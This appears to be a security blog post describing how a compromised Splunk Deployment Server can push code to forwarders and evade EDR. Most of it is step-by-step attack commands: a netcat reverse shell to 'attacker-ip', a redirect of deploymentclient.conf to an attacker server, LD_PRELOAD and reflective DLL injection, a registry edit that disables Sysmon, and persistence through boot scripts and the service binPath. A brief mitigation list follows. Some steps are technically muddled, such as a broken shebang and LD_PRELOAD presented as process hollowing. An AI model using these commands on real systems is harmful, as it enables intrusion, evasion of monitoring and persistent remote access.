Bypass EDR And Antivirus Via SPLUNK Deployment Server

The Splunk Deployment Server can be exploited as a potential attack vector to bypass Security Operations Center (SOC) defenses, gain system access, and spread malware across an Active Directory environment, including farm and DMZ servers.

Attack Vector Overview

The Splunk Deployment Server has high privileges on clients, allowing execution of arbitrary scripts.
If compromised, attackers can fully bypass Sysmon and other monitoring tools.
Splunkd (Splunk daemon) typically runs under SYSTEM privileges, making it a high-value target.

You Should Know: Practical Exploitation Steps

1. Exploiting Splunk Deployment Server

Step 1: Gain initial access to the Splunk Deployment Server.

Step 2: Modify deploymentclient.conf on target systems to point to a malicious server:

[deployment-client]
clientName = compromised_client
targetUri = http://attacker-controlled-server:8089

Step 3: Push malicious apps or scripts via the Deployment Server:

Example: Deploying a malicious script via Splunk
echo '!/bin/bash' > /opt/splunk/etc/apps/malicious_app/bin/backdoor.sh
echo 'nc -e /bin/bash attacker-ip 4444' >> /opt/splunk/etc/apps/malicious_app/bin/backdoor.sh
chmod +x /opt/splunk/etc/apps/malicious_app/bin/backdoor.sh

Step 4: Execute the payload across all connected Splunk Universal Forwarders (UFs).

2. Bypassing EDR & Antivirus

Use process hollowing to inject malicious code into splunkd.exe:

Linux equivalent (if Splunk runs on Linux)
gcc -shared -o evil.so evil_code.c
LD_PRELOAD=./evil.so /opt/splunk/bin/splunkd

Disable Sysmon logging via registry (Windows):

reg add "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv" /v "Start" /t REG_DWORD /d "4" /f

Use reflective DLL injection to evade AV detection:

Invoke-ReflectivePEInjection -PEBytes $maliciousBytes -ProcName splunkd

3. Maintaining Persistence

Modify Splunk’s boot scripts:

echo "nohup /opt/splunk/etc/apps/malicious_app/bin/backdoor.sh &" >> /opt/splunk/bin/splunk-start.sh

Windows persistence via Splunk service:

sc config SplunkForwarder binPath= "C:\Windows\System32\cmd.exe /k C:\malicious\payload.exe"

What Undercode Say

The exploitation of Splunk’s Deployment Server highlights critical misconfigurations in enterprise monitoring tools. Attackers can weaponize legitimate administrative tools to bypass EDR, Sysmon, and SOC detections.

Mitigation Strategies

Restrict Splunk Deployment Server access (least privilege principle).
Monitor Splunkd process behavior for anomalies.
Enforce application whitelisting to prevent unauthorized script execution.
Regularly audit Splunk configurations for unauthorized changes.

Expected Output:

A fully compromised Splunk infrastructure leading to lateral movement, data exfiltration, and complete SOC bypass.

Prediction

As organizations increasingly rely on SIEM solutions like Splunk, attackers will continue targeting misconfigured deployment servers for large-scale intrusions. Future attacks may involve AI-driven payload obfuscation to further evade detection.

(Relevant URLs if needed: Splunk Security Best Practices)